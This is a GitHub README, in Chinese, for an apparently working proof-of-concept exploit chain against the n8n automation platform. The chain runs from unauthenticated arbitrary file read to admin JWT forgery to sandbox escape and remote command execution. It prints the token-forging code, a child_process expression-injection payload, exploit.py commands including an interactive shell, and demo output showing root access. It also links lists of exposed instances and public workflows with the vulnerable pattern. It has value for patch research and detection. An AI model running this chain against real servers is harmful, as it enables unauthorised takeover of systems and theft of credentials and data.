Fomovet/cve-2026-21858
GitHub: Fomovet/cve-2026-21858
针对 n8n 平台的未授权 RCE 全链路漏洞利用 PoC,结合任意文件读取与表达式注入实现从信息泄露到远程命令执行的完整攻击链。
Stars: 0 | Forks: 0
# CVE-2026-21858 + CVE-2025-68613 - n8n 全链路
**未授权任意文件读取 → 管理员 Token 伪造 → 沙箱绕过 → RCE**
| | |
|---|---|
| **CVE** | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| **CVSS** | 10.0 + 9.9 (严重) |
| **受影响版本** | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| **修复版本** | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| **披露时间** | 2026-01-07 11:09 UTC |
| **代号** | Ni8mare |
| **致谢** | Dor Attias (Cyera) |
| **漏洞利用** | [Chocapikk](https://github.com/Chocapikk/CVE-2026-21858) |
| **过程** | AI 自动化:补丁比对 → 复现 → 实验 → 漏洞利用(披露后约 9 小时) |
| **类型** | 概念验证 - 并非通用漏洞利用(需要特定的工作流配置,参见[局限性](#limitations)) |
## TL;DR
n8n 上的完整未授权 RCE 链路:
1. **CVE-2026-21858** - Content-Type 混淆 → 任意文件读取
2. 读取配置 + 数据库 → 伪造管理员 JWT
3. **CVE-2025-68613** - 表达式注入 → 沙箱绕过 → RCE
## 检测
暴露情况是**基于版本**的。就暴露而言,存在公开可访问的易受攻击的 n8n 实例。
**LeakIX 结果:** [查看暴露的实例](https://leakix.net/search?scope=leak&q=%2Btag%3Acve-2026-21858)
## 为什么使用此漏洞利用?
此漏洞利用是独立于 [Cyera 分析文章](https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858)(在完成后才发现)开发的。主要区别:
| | Cyera(原始研究) | 此漏洞利用 |
|---|---|---|
| **文件读取** | 加载到 AI 知识库 → 通过聊天查询 | 直接 HTTP 响应 |
| **前提条件** | 聊天工作流 + AI 集成 | **任何带有文件上传的表单** |
| **RCE 方法** | "Execute Command" 节点(默认禁用) | **表达式注入(适用于默认安装)** |
| **自动化** | 手动/概念性演示 | **全自动 Python 脚本** |
两种方法都需要特定的工作流配置。Cyera 需要聊天 + AI 集成,此漏洞利用需要带有 Respond 节点的表单。详情请参见[局限性](#limitations)。
## 攻击链路
```
┌───────────────────────────────────────────────────────────┐
│ UNAUTHENTICATED │
├───────────────────────────────────────────────────────────┤
│ 1. Read /proc/self/environ → Find HOME directory │
│ 2. Read $HOME/.n8n/config → Get encryptionKey │
│ 3. Read $HOME/.n8n/database.sqlite → Get admin creds │
├───────────────────────────────────────────────────────────┤
│ TOKEN FORGE │
├───────────────────────────────────────────────────────────┤
│ 4. Derive JWT secret from encryptionKey │
│ 5. Forge admin session cookie │
├───────────────────────────────────────────────────────────┤
│ AUTHENTICATED RCE │
├───────────────────────────────────────────────────────────┤
│ 6. Create workflow with expression injection │
│ 7. Sandbox bypass via this.process.mainModule.require │
│ 8. Execute arbitrary commands │
└───────────────────────────────────────────────────────────┘
```
## CVE-2026-21858 - 通过 Content-Type 混淆实现任意文件读取
### 补丁
```
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
```
传说中的 **"Merge commit from fork"** - 当你看到这个时,说明有人发现了劲爆的东西。🌶️
### 根本原因
```
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
```
发送 `Content-Type: application/json` → 控制 `filepath` → 读取任意文件。
## CVE-2025-68613 - 表达式注入 RCE
### 为什么进行此绕过?
n8n 使用 `vm2`/`isolated-vm` 对用户代码(Code Node、表达式)进行沙箱处理。其他 RCE 攻击向量:
| 技术 | 状态 |
|-----------|--------|
| Execute Command Node | 默认禁用 (`N8N_ALLOW_EXEC_COMMAND=false`) |
| SSH/HTTP Nodes | 在远程服务器上执行,而不是 n8n 主机 |
| Pyodide 沙箱逃逸 | CVE-2025-68668 - 需要 Python Code Node |
| **表达式注入** | **CVE-2025-68613 - 适用于默认安装** |
我使用**表达式注入**是因为它适用于任何默认设置的 n8n - 不需要特殊的节点或配置。Pyodide 绕过(CVE-2025-68668)需要 Python Code Node,这可能并非在所有实例上都可用。
### Payload
```
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
```
n8n 表达式可以访问 `this.process.mainModule.require` → 完全的沙箱逃逸。
### Token 伪造
```
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
```
## 环境搭建
```
docker compose up -d
# 等待约 60 秒完成 setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: admin@exploit.local / ExploitLab123!
```
## 用法
```
# 读取任意文件
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# 包含 command 的完整 chain
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
```
## 演示
```
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: admin@exploit.local
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
```
## 局限性
**这并不是一个“能 pwn 任何 n8n”的漏洞利用。** 它需要特定的条件才能起作用:
| 要求 | 描述 |
|-------------|-------------|
| **带文件上传的表单** | 目标必须具有带文件上传字段的表单工作流 |
| **Respond to Webhook 节点** | 工作流必须在 HTTP 响应中返回文件内容 |
| **工作流已激活** | 表单工作流必须处于已激活状态 |
| **未授权访问** | 表单必须可公开访问(无身份验证) |
**易受攻击的工作流配置示例:**
```
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
```
关键要素是:`fieldType: "file"` + `respondWith: "binary"`。这种模式在文件处理工作流(转换器、图像缩放器、文档处理器)中很常见。
**有效:**
- 带有返回二进制文件的 Respond 节点的表单(文件转换器、处理器)
- n8n 默认安装(表达式注入未被阻止)
- 本地/Docker 部署(数据库 + 配置存储在磁盘上)
**无效:**
- 没有 Respond 节点的表单(文件被读取但内容未在 HTTP 响应中返回)
- 需要身份验证的表单
- n8n Cloud(架构不同,没有本地文件访问权限)
- 已修复的版本 (>= 1.121.0)
**注意:** 无论窃取方法如何,该漏洞(任意文件读取)都会被触发。Respond 节点只是检索内容的一种方式。替代方法(OOB、其他输出节点)可能会根据工作流配置发挥作用。
**盲打利用:** 如果不存在 Respond 节点,文件仍会被 n8n 读取,但无法通过 HTTP 响应向外传输。此时将需要使用其他技术(OOB、时间延迟)。
## 真实世界示例
易受攻击的模式(Form Trigger + 文件上传 + Respond to Webhook)存在于公开的 GitHub 仓库中。
**注意:** 热门的 n8n 工作流仓库(>100⭐)并未使用此模式。这些都是社区/个人项目:
| 工作流文件 | 文件字段 | respondWith |
|---------------|-------------|-------------|
| [ifcpipeline/.../ifcpipeline.json](https://github.com/jonatanjacobsson/ifcpipeline/blob/main/example%20n8n%20workflows/%E2%9C%A8Getting%20Started_%20ifcpipeline.json) | IDS, IFC (x2) | `binary` ⚠️ |
| [nano-banana-studio/.../03_multi_asset_processor.json](https://github.com/Ghenghis/nano-banana-studio/blob/main/n8n/workflows/03_multi_asset_processor.json) | 图像, 音频, Markdown | `json` |
| [ticket-omnichannel-chat/.../Knowledge_base.json](https://github.com/tiago123456789/ticket-omnichannel-chat/blob/main/n8n_automations/TicketOmnichannelChat___Knowledge_base.json) | 文档(PDF) | `text` |
| [ai_resume_project/resume_rag.json](https://github.com/ggvoicu/ai_resume_project/blob/main/resume_rag.json) | 文件上传 | `allIncomingItems` |
| [fkgpt-portfolio/.../audio-transcription-analysis.json](https://github.com/musudik/fkgpt-portfolio/blob/main/src/n8n-workflows/audio-transcription-analysis.json) | 音频文件 | `text` |
| [n8n-backup/.../K3DwHQs0fnnm5UK0.json](https://github.com/trazonm/n8n-backup/blob/main/backup-2025/08/K3DwHQs0fnnm5UK0.json) | file | `text` |
| [voltixLandingPage/.../chatbotvoltix.json](https://github.com/CodingNeeds/voltixLandingPage/blob/main/n8nWorkflow/chatbotvoltix.json) | Upload File | 默认 |
| [n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json](https://github.com/zlatkomq/n8n-backup-zm/blob/main/2025/11/Ky1AiuIMbY1zoTLE.json) | file | 默认 |
| [8n8Workflows/.../3WoSqiBnZ56RtWMb.json](https://github.com/BigAddict/8n8Workflows/blob/main/workflows/3WoSqiBnZ56RtWMb.json) | Upload your document | 默认 |
| [learn_earn_ai_insta/.../My workflow.json](https://github.com/bharathikalai/learn_earn_ai_insta/blob/main/chatgpt_rag/My%20workflow.json) | upload your file | 默认 |
| [finintworkshop/.../API using n8n (ToT).json](https://github.com/rafliher/finintworkshop/blob/main/day4/API%20using%20n8n%20(ToT).json) | file | `json` |
这些是**社区贡献的工作流**。没有官方的 n8n.io 模板使用这种易受攻击的模式。
## 参考
- [Vulhub 环境](https://github.com/vulhub/vulhub/tree/master/n8n/CVE-2025-68613) - Vulhub 上开箱即用的实验环境
- [Cyera 研究 - Ni8mare 完整分析](https://www.cyera.com/research-labs/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858) - Dor Attias 的原始研究
- [GHSA-v4pr-fm98-w9pg](https://github.com/n8n-io/n8n/security/advisories/GHSA-v4pr-fm98-w9pg) - CVE-2026-21858
- [GHSA-v98v-ff95-f3cp](https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp) - CVE-2025-68613
- [Nuclei 模板 CVE-2025-68613](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-68613.yaml)
- [LeakIX 搜索结果](https://leakix.net/search?scope=leak&q=%2Btag%3Acve-2026-21858) - 暴露的易受攻击实例
- [Formidable](https://github.com/node-formidable/formidable) - “是那个库,不是那首歌”(感谢 Cyera 逗乐了我们)
标签:n8n, PoC, Python, RCE, StruQ, Web安全, 无后门, 暴力破解, 网络安全审计, 蓝队分析, 请求拦截, 逆向工具